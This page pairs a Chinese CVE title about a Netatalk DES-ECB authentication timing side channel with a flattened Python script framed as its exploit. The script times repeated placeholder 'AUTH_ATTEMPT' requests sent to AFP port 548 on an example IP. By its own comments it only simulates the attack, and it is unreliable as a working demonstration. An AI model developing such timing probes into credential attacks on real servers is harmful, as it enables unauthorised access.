CVE-2026-44061 Netatalk DES-ECB认证时序侧信道漏洞

#!/usr/bin/env python3 import socket import time import statistics # Target configuration (Example) TARGET_IP = "192.168.1.10" TARGET_PORT = 548 def send_auth_payload(payload): """ Sends a payload to the target and measures the response time. This simulates the timing analysis part of the exploit. """ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) start_time = time.perf_counter() try: s.connect((TARGET_IP, TARGET_PORT)) # In a real exploit, specific AFP protocol bytes would be sent. # Here we simulate sending a packet that triggers the crypto operation. s.send(payload.encode()) s.recv(1024) except Exception as e: print(f"Connection error: {e}") finally: end_time = time.perf_counter() s.close() return end_time - start_time def perform_timing_analysis(): """ Collects timing samples to identify side-channel differences. """ samples = [] print(f"[*] Collecting timing data for {TARGET_IP}...") # Attacker sends multiple requests to gather statistically significant data for i in range(100): # Payload would vary byte by byte to guess the password duration = send_auth_payload("AUTH_ATTEMPT") if duration > 0: samples.append(duration) print(f"Sample {i+1}: {duration:.6f} seconds") if samples: avg_time = statistics.mean(samples) print(f"[*] Average response time: {avg_time:.6f} seconds") print("[*] Analysis complete. Compare timings against baseline to deduce credentials.") if __name__ == "__main__": perform_timing_analysis()